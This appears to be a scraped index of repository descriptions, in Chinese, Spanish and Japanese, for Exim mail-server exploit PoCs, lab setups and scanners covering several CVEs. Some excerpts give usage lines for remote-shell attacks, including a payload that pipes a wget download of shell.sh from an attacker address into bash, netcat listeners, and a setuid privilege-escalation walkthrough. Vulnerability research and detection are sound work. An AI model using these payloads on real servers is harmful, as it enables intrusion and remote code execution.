exim-cve-2019-10149-data

Recopilación de Datos de CVE de Exim Recopilación de Datos Relacionada con las Vulnerabilidades de Exim CVE-2019-10149, CVE-2019-15846, CVE-2019-16928 Anuncio de CVE: https://vulners.com/cve/CVE-2019-10149 Detalles del Exploit: https://www.exploit-db.com/exploits/46974 Cronología del Problema:...

exim-vuln-poc

CVE-2018-6789...

CVE-2018-6789

CVE-2018-6789 环境搭建 安装依赖 apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev 下载旧版本的exim wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz tar -xvzf ./exim-4.89.tar.gz cd ./exim-4.89 cp src/EDITME Local/Makefile cp...

exim.exp

Exim 4.87 - 4.91（両端を含む）の脆弱性に対するシンプルなエクスプロイト。...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf 创建exim用户和组 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 安装依赖 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev...

eximrce-CVE-2019-10149

eximrce 用于测试 exim 是否易受 CVE-2019-10149 影响的简单 Python socket 连接。该 payload 仅在 /root/lweximtest 中创建一个文件。输出会很慢，具体取决于服务器的响应，而且我也不知道如何正确使用 Python 的 socket 模块。希望能有人教教我如何加速。仅在 cPanel 服务器上测试过。 在疑似受感染的服务器上本地运行。此命令用于检查是否存在入侵迹象。 curl -s...

nmap-nse-vulnerability-scripts

NMAP 漏洞扫描脚本 一套 nmap 漏洞扫描脚本，旨在帮助实现经济高效的检测与修复。 背景 这些脚本使用 Nmap 脚本引擎（NSE）实现对各种漏洞的检测。 参考资料： https://nmap.org/book/man-nse.html https://nmap.org/nsedoc/index.html 脚本 Exim 邮件服务器 CVE-2020-28017 至 CVE-2020-28026，也称为 21Nails...

exim-rce-quickfix

此存储库没有 README。...

POC_CVE-2026-45185

CVE-2026-45185 Laboratorio de Validación de Plantillas Nuclei Este repositorio no es un repositorio de PoC de exploits de propósito general. Es un laboratorio de validación local para reproducir y revisar el comportamiento de una plantilla CVE-2026-45185 destinada a ser contribuida a...

CVE-2020-28018

CVE-2020-28018: Exim 释放后使用（UAF）导致远程代码执行（RCE） 引言 tls-openssl.c 中存在一个释放后使用（UAF）漏洞，允许远程未认证的攻击者破坏内部内存数据，最终实现远程代码执行。 原语： 内存泄漏 任意读取原语 写-任意位置原语 通过将这些原语串联使用，可以完全绕过所有可用的利用缓解措施，最终以 exim 用户身份实现远程代码执行。 该漏洞是在大量漏洞中一起发布的，官方 Qualys 报告将该释放后使用漏洞与 CVE-2020-28008 链接，用于在获得 RCE 后执行本地权限提升（LPE）。 前置条件 Exim 应按照以下方式配置/编译： ...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - 本地权限提升 Cr.Link: https://www.exploit-db.com/exploits/46996 1.此方法要求您首先以标准用户权限访问目标机器。 2.一旦您访问了目标机器，请创建一个包含以下内容的脚本文件： vi raptor.sh 3.从提供的 'raptor.sh' 文件中复制代码。然后，使用以下命令执行该文件： chmod +x raptor.sh ./raptor.sh 4.您应收到类似以下示例的输出： Preparing setuid shell helper... Delivering payload... 22...

PoC_CVE-2019-10149--rce

关于 从存在漏洞的 exim 服务远程执行命令进入 shell。 受影响版本从 4.87 到 4.91（含）。查看 https://nvd.nist.gov/vuln/detail/cve-2019-10149。 以下脚本基于 Qualys PoC。查看 https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html。 示例 建议使用两个终端 T1 $ nc -nlvp 1337 T2 $ bash exploit.sh $ Listener IP: 192.168.0.1 $...

CVE-2026-45185

CVE-2026-45185 — Dead.Letter：Exim 堆释放后使用（UAF）致远程 Root CVSS 9.8 严重 | Exim 4.97–4.99.2 | Ubuntu / GnuTLS 构建 | 未认证 包含 GDB 跟踪、逐步分析和全球暴露数据的完整技术文章： https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html 这是什么 当 Exim 处于 BDAT 主体传输中途时，发送 TLS closenotify 警报会导致 tlsclose 调用 gnutlsdeinit，释放 7,304 字节的...

CVE-2025-26794-exploit

CVE-2025-26794：Exim ETRN SQL 注入漏洞利用工具 一个针对 CVE-2025-26794 的概念验证（PoC）利用工具，演示了 Exim 4.98 邮件服务器在使用 SQLite DBM 存储时，通过 ETRN 命令触发的 SQL 注入漏洞。 ⚠️ 法律免责声明 仅供授权的安全测试使用 本工具仅用于教育目的和授权渗透测试。未经授权访问计算机系统违反多项法律，包括： 美国《计算机欺诈与滥用法》（CFAA） 英国《计算机滥用法》 其他司法辖区的类似法律 在测试任何非您所有的系统之前，您必须获得明确的书面授权。 作者和贡献者对本工具造成的滥用或损害不承担任何责任。 📋...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 为教育目的搭建实验环境...

CVE-2025-26794-Exim-Mail-SQLi

此存储库没有 README。...

CVE-2023-42115

CVE-2023-42115 Exim AUTH 越界写入远程代码执行漏洞。此漏洞允许远程攻击者在受影响的 Exim 安装上执行任意代码。利用此漏洞无需认证。 构建 git clone https://github.com/doaso/CVE-2023-42115.git cd CVE-2023-42115/ g++ main.cpp -o app -std=c++20 使用 nc -u -lvp 27015 ./app 127.0.0.1 25 127.0.0.1 27015...

PoC--CVE-2019-10149_Exim

PoC-CVE-2019-10149Exim MNEMO-CERT 开发了一个 PoC，可利用影响 Exim 多个版本（4.87 - 4.91）的漏洞 CVE-2019-10149，以提升权限执行命令。 要本地利用该漏洞，需要定义要执行的命令。对于远程场景，仅考虑了 Exim 未使用 ACL "verify= recipient" 的情况，此时除了命令外还需指定服务的 IP 地址和端口。 MNEMO-CERT 开发此 PoC 仅出于教育目的，并用于执行能够复现 CVE-2019-10149 所述漏洞的伦理测试。此 PoC 应仅在受控环境或获得必要授权的情况下使用。...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Se encontró una falla en Exim versiones 4.87 a 4.91 inclusive. La validación incorrecta de la dirección del destinatario en la función delivermessage en /src/deliver.c puede conducir a la ejecución remota de comandos. Ejemplo nc -lvp 9000 python...